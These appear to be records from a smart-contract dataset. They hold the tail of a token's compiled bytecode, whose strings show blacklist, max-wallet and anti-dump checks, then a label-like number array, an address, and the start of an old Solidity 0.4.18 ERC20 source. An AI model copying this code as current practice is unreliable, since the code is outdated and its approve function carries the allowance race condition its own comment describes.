018060405250810190611af99190614223565b601781905550611b1562093a804261206f90919063ffffffff16565b601e819055506001601160006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b78612117565b73ffffffffffffffffffffffffffffffffffffffff1614611bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc59061468e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b81526004016020604051808303816000875af1158015611cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d1e919061490d565b73ffffffffffffffffffffffffffffffffffffffff16611d3c612117565b73ffffffffffffffffffffffffffffffffffffffff161480611db25750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9a612117565b73ffffffffffffffffffffffffffffffffffffffff16145b611df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de890614b73565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e74612117565b73ffffffffffffffffffffffffffffffffffffffff1614611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec19061468e565b60405180910390fd5b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5290614bdf565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc190614c4b565b60405180910390fd5b6001601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061206783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613292565b905092915050565b600080828461207e9190614c9a565b9050838110156120c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ba90614d3c565b60405180910390fd5b8091505092915050565b600061210f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612d94565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561218f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218690614dce565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f690614e60565b60405180910390fd5b80601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122dd91906143c2565b60405180910390a3505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612329612117565b73ffffffffffffffffffffffffffffffffffffffff161461237f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123769061468e565b60405180910390fd5b60008110156123c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ba90614ecc565b60405180910390fd5b600b600a5411156124125760008114612411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240890614f38565b60405180910390fd5b5b600b60009054906101000a900460ff16156124e057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124df57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166124be612117565b73ffffffffffffffffffffffffffffffffffffffff16146124de57600080fd5b5b5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415612651576129046125458360095461206f90919063ffffffff16565b111561255057600080fd5b60068290806001815401808255809150506001900390600052602060002001600090919091909150556007839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016006805490506125ee9190614f58565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126468260095461206f90919063ffffffff16565b600981905550612721565b600060068281548110612667576126666147f1565b5b9060005260206000200154905061290461269e826126908660095461206f90919063ffffffff16565b6120cd90919063ffffffff16565b11156126a957600080fd5b82600683815481106126be576126bd6147f1565b5b90600052602060002001819055506126f3816126e58560095461206f90919063ffffffff16565b6120cd90919063ffffffff16565b600981905550600083141561271f576127186001600a546120cd90919063ffffffff16565b600a819055505b505b6000821115612745576001600a600082825461273d9190614c9a565b925050819055505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b190614ffe565b60405180910390fd5b600081116127fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f49061506a565b60405180910390fd5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128a15750601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128f75750601960003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61290057600080fd5b61290a83836132f5565b80156129185750601e544210155b15612bb757601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42383600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16326040518463ffffffff1660e01b815260040161299e9392919061508a565b6020604051808303816000875af11580156129bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129e19190614aa7565b15612a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1890615133565b60405180910390fd5b601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166312bdf42384600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16326040518463ffffffff1660e01b8152600401612aa29392919061508a565b6020604051808303816000875af1158015612ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ae59190614aa7565b15612b25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1c90615133565b60405180910390fd5b601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155d0ed98484326040518463ffffffff1660e01b8152600401612b849392919061508a565b600060405180830381600087803b158015612b9e57600080fd5b505af1158015612bb2573d6000803e3d6000fd5b505050505b612bc082613460565b15612bdc57601054612bd183610cc3565b10612bdb57600080fd5b5b6000612be8848461356f565b15612c3b57601e54421015612bfc57600080fd5b612c0684846136cb565b15612c2057612c136137b4565b821115612c1f57600080fd5b5b612c2b84848461380a565b9050612c3684613988565b612d82565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612ce75750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612d8157601160009054906101000a900460ff168015612d0e5750612d0c846139b9565b155b8015612d205750612d1e84613a13565b155b15612d8057612d3d62093a80601e5461206f90919063ffffffff16565b421015612d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d769061519f565b60405180910390fd5b5b5b5b612d8e84848484613a4b565b50505050565b6000838311158290612ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd391906142e9565b60405180910390fd5b5060008385612deb9190614f58565b9050809150509392505050565b600080831415612e0b5760009050612e6d565b60008284612e1991906151bf565b9050828482612e289190615248565b14612e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5f906152eb565b60405180910390fd5b809150505b92915050565b6001601f60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eab57612eaa61530b565b5b604051908082528060200260200182016040528015612ed95781602001602082028036833780820191505090505b5090503081600081518110612ef157612ef06147f1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fbc919061490d565b81600181518110612fd057612fcf6147f1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061303730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461211f565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161309b9594939291906153f8565b600060405180830381600087803b1580156130b557600080fd5b505af11580156130c9573d6000803e3d6000fd5b50505050506000601f60006101000a81548160ff02191690831515021790555050565b6000479050601d5481116131005750613290565b6000613117601d54836120cd90919063ffffffff16565b90506000613123613c8d565b9050600181101561313657505050613290565b6131408282613ce5565b61316f61316a8261315c60145486612df890919063ffffffff16565b61202590919063ffffffff16565b613ed8565b60006131988261318a60175486612df890919063ffffffff16565b61202590919063ffffffff16565b9050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501561328457601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb852017826040518263ffffffff1660e01b815260040161325191906143c2565b600060405180830381600087803b15801561326b57600080fd5b505af115801561327f573d6000803e3d6000fd5b505050505b47601d81905550505050505b565b600080831182906132d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132d091906142e9565b60405180910390fd5b50600083856132e89190615248565b9050809150509392505050565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806133a05750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156133ae576000905061345a565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806134575750600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b90505b92915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156134ec5750600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561350e575061350a610e10601e5461206f90919063ffffffff16565b4211155b80156135685750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b6000601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806136125750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061366a5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806136c25750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156137565750600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156137ac5750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b60006137cd61021c601e5461206f90919063ffffffff16565b42116137f9576137f261019069d3c21bcecceda100000061202590919063ffffffff16565b9050613807565b69d3c21bcecceda100000090505b90565b60008060009050601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806138b25750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156138c05780915050613981565b6139006138f16138ce6140c2565b6138e36020548761202590919063ffffffff16565b612df890919063ffffffff16565b8261206f90919063ffffffff16565b905061393d61392e60205461392060145487612df890919063ffffffff16565b61202590919063ffffffff16565b8261206f90919063ffffffff16565b905061397a61396b60205461395d60175487612df890919063ffffffff16565b61202590919063ffffffff16565b8261206f90919063ffffffff16565b9050809150505b9392505050565b613991816140cc565b156139b65760006139a130610cc3565b90506139ac81612e73565b6139b46130ec565b505b50565b6000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60003073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000613a6082846120cd90919063ffffffff16565b9050613ab483601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cd90919063ffffffff16565b601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b4981601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206f90919063ffffffff16565b601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613bde82601b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206f90919063ffffffff16565b601b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c7e91906143c2565b60405180910390a35050505050565b60008060009050613cae613c9f6140c2565b8261206f90919063ffffffff16565b9050613cc56014548261206f90919063ffffffff16565b9050613cdc6017548261206f90919063ffffffff16565b90508091505090565b6000600190505b600680549050811015613ed357600060068281548110613d0f57613d0e6147f1565b5b90600052602060002001549050600060078381548110613d3257613d316147f1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000613d8685613d788589612df890919063ffffffff16565b61202590919063ffffffff16565b90506001811115613ebd578173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613dd7573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613ebc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6b55f25826040518263ffffffff1660e01b8152600401613e8991906143c2565b600060405180830381600087803b158015613ea357600080fd5b505af1158015613eb7573d6000803e3d6000fd5b505050505b5b5050508080613ecb90615452565b915050613cec565b505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015613f4257600080fd5b505af1158015613f56573d6000803e3d6000fd5b50505050506000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613fb8919061452d565b602060405180830381865afa158015613fd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ff99190614223565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161407a929190614a52565b6020604051808303816000875af1158015614099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140bd9190614aa7565b505050565b6000600954905090565b6000601f60009054906101000a900460ff161580156141395750600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061416b82614140565b9050919050565b61417b81614160565b82525050565b600061418c82614140565b9050919050565b61419c81614181565b82525050565b6000819050919050565b6141b5816141a2565b82525050565b60006060820190506141d06000830186614172565b6141dd6020830185614193565b6141ea60408301846141ac565b949350505050565b600080fd5b614200816141a2565b811461420b57600080fd5b50565b60008151905061421d816141f7565b92915050565b600060208284031215614239576142386141f2565b5b60006142478482850161420e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561428a57808201518184015260208101905061426f565b83811115614299576000848401525b50505050565b6000601f19601f8301169050919050565b60006142bb82614250565b6142c5818561425b565b93506142d581856020860161426c565b6142de8161429f565b840191505092915050565b6000602082019050818103600083015261430381846142b0565b905092915050565b61431481614160565b811461431f57600080fd5b50565b6000813590506143318161430b565b92915050565b600081359050614346816141f7565b92915050565b60008060408385031215614363576143626141f2565b5b600061437185828601614322565b925050602061438285828601614337565b9150509250929050565b60008115159050919050565b6143a18161438c565b82525050565b60006020820190506143bc6000830184614398565b92915050565b60006020820190506143d760008301846141ac565b92915050565b6143e681614181565b81146143f157600080fd5b50565b600081359050614403816143dd565b92915050565b600080604083850312156144205761441f6141f2565b5b600061442e858286016143f4565b925050602061443f85828601614337565b9150509250929050565b600080600060608486031215614462576144616141f2565b5b600061447086828701614322565b935050602061448186828701614322565b925050604061449286828701614337565b9150509250925092565b600060ff82169050919050565b6144b28161449c565b82525050565b60006020820190506144cd60008301846144a9565b92915050565b6000602082840312156144e9576144e86141f2565b5b60006144f784828501614322565b91505092915050565b600060208284031215614516576145156141f2565b5b6000614524848285016143f4565b91505092915050565b60006020820190506145426000830184614172565b92915050565b6145518161449c565b811461455c57600080fd5b50565b60008135905061456e81614548565b92915050565b60006020828403121561458a576145896141f2565b5b60006145988482850161455f565b91505092915050565b600080604083850312156145b8576145b76141f2565b5b60006145c685828601614322565b92505060206145d785828601614322565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061462857607f821691505b6020821081141561463c5761463b6145e1565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061467860208361425b565b915061468382614642565b602082019050919050565b600060208201905081810360008301526146a78161466b565b9050919050565b6000819050919050565b60006146d36146ce6146c984614140565b6146ae565b614140565b9050919050565b60006146e5826146b8565b9050919050565b60006146f7826146da565b9050919050565b614707816146ec565b82525050565b600060408201905061472260008301856146fe565b61472f60208301846141ac565b9392505050565b7f43616e6e6f7420756e7374616b652061667465722066756e64696e672070657260008201527f696f642068617320636f6d706c657465642e0000000000000000000000000000602082015250565b600061479260328361425b565b915061479d82614736565b604082019050919050565b600060208201905081810360008301526147c181614785565b9050919050565b60006040820190506147dd6000830185614172565b6147ea6020830184614193565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f596f752061726520616c7265616479206c61756e6368696e672e000000000000600082015250565b6000614856601a8361425b565b915061486182614820565b602082019050919050565b6000602082019050818103600083015261488581614849565b9050919050565b7f4c697175696469747920616c72656164792061646465642e0000000000000000600082015250565b60006148c260188361425b565b91506148cd8261488c565b602082019050919050565b600060208201905081810360008301526148f1816148b5565b9050919050565b6000815190506149078161430b565b92915050565b600060208284031215614923576149226141f2565b5b6000614931848285016148f8565b91505092915050565b600060408201905061494f6000830185614172565b61495c6020830184614172565b9392505050565b6000819050919050565b600061498861498361497e84614963565b6146ae565b6141a2565b9050919050565b6149988161496d565b82525050565b600060c0820190506149b36000830189614172565b6149c060208301886141ac565b6149cd604083018761498f565b6149da606083018661498f565b6149e76080830185614172565b6149f460a08301846141ac565b979650505050505050565b600080600060608486031215614a1857614a176141f2565b5b6000614a268682870161420e565b9350506020614a378682870161420e565b9250506040614a488682870161420e565b9150509250925092565b6000604082019050614a676000830185614172565b614a7460208301846141ac565b9392505050565b614a848161438c565b8114614a8f57600080fd5b50565b600081519050614aa181614a7b565b92915050565b600060208284031215614abd57614abc6141f2565b5b6000614acb84828501614a92565b91505092915050565b600060a082019050614ae96000830188614172565b614af66020830187614172565b614b0360408301866141ac565b614b1060608301856141ac565b614b1d6080830184614172565b9695505050505050565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b6000614b5d600c8361425b565b9150614b6882614b27565b602082019050919050565b60006020820190508181036000830152614b8c81614b50565b9050919050565b7f43616e277420626c61636b6c69737420556e6973776170000000000000000000600082015250565b6000614bc960178361425b565b9150614bd482614b93565b602082019050919050565b60006020820190508181036000830152614bf881614bbc565b9050919050565b7f43616e277420626c61636b6c69737420636f6e74726163740000000000000000600082015250565b6000614c3560188361425b565b9150614c4082614bff565b602082019050919050565b60006020820190508181036000830152614c6481614c28565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614ca5826141a2565b9150614cb0836141a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614ce557614ce4614c6b565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614d26601b8361425b565b9150614d3182614cf0565b602082019050919050565b60006020820190508181036000830152614d5581614d19565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614db860248361425b565b9150614dc382614d5c565b604082019050919050565b60006020820190508181036000830152614de781614dab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e4a60228361425b565b9150614e5582614dee565b604082019050919050565b60006020820190508181036000830152614e7981614e3d565b9050919050565b7f416c6c6f636174696f6e206d757374206265206174206c656173742030000000600082015250565b6000614eb6601d8361425b565b9150614ec182614e80565b602082019050919050565b60006020820190508181036000830152614ee581614ea9565b9050919050565b7f4d61782077616c6c657420636f756e7420726561636865640000000000000000600082015250565b6000614f2260188361425b565b9150614f2d82614eec565b602082019050919050565b60006020820190508181036000830152614f5181614f15565b9050919050565b6000614f63826141a2565b9150614f6e836141a2565b925082821015614f8157614f80614c6b565b5b828203905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614fe860258361425b565b9150614ff382614f8c565b604082019050919050565b6000602082019050818103600083015261501781614fdb565b9050919050565b7f4d757374207472616e736665722067726561746572207468616e203000000000600082015250565b6000615054601c8361425b565b915061505f8261501e565b602082019050919050565b6000602082019050818103600083015261508381615047565b9050919050565b600060608201905061509f6000830186614172565b6150ac6020830185614172565b6150b96040830184614172565b949350505050565b7f42656570204265657020426f6f702c20596f752772652061207069656365206f60008201527f6620706f6f700000000000000000000000000000000000000000000000000000602082015250565b600061511d60268361425b565b9150615128826150c1565b604082019050919050565b6000602082019050818103600083015261514c81615110565b9050919050565b7f44756d70696e6720646973636f75726167656400000000000000000000000000600082015250565b600061518960138361425b565b915061519482615153565b602082019050919050565b600060208201905081810360008301526151b88161517c565b9050919050565b60006151ca826141a2565b91506151d5836141a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561520e5761520d614c6b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000615253826141a2565b915061525e836141a2565b92508261526e5761526d615219565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006152d560218361425b565b91506152e082615279565b604082019050919050565b60006020820190508181036000830152615304816152c8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61536f81614160565b82525050565b60006153818383615366565b60208301905092915050565b6000602082019050919050565b60006153a58261533a565b6153af8185615345565b93506153ba83615356565b8060005b838110156153eb5781516153d28882615375565b97506153dd8361538d565b9250506001810190506153be565b5085935050505092915050565b600060a08201905061540d60008301886141ac565b61541a602083018761498f565b818103604083015261542c818661539a565b905061543b6060830185614172565b61544860808301846141ac565b9695505050505050565b600061545d826141a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156154905761548f614c6b565b5b60018201905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef793c17b9bb081a0099e51f8dd6afe6a0e917819c7973e03a84a8b8cff289f164736f6c634300080b0033
[ 21, 4, 7, 19, 11, 13, 16, 5 ]
0xf1C91ad5d541567Eb90a8A56373556a851a53E12
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * Based on code by Frederico BC: https://www.facebook.com/bangkit23 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * 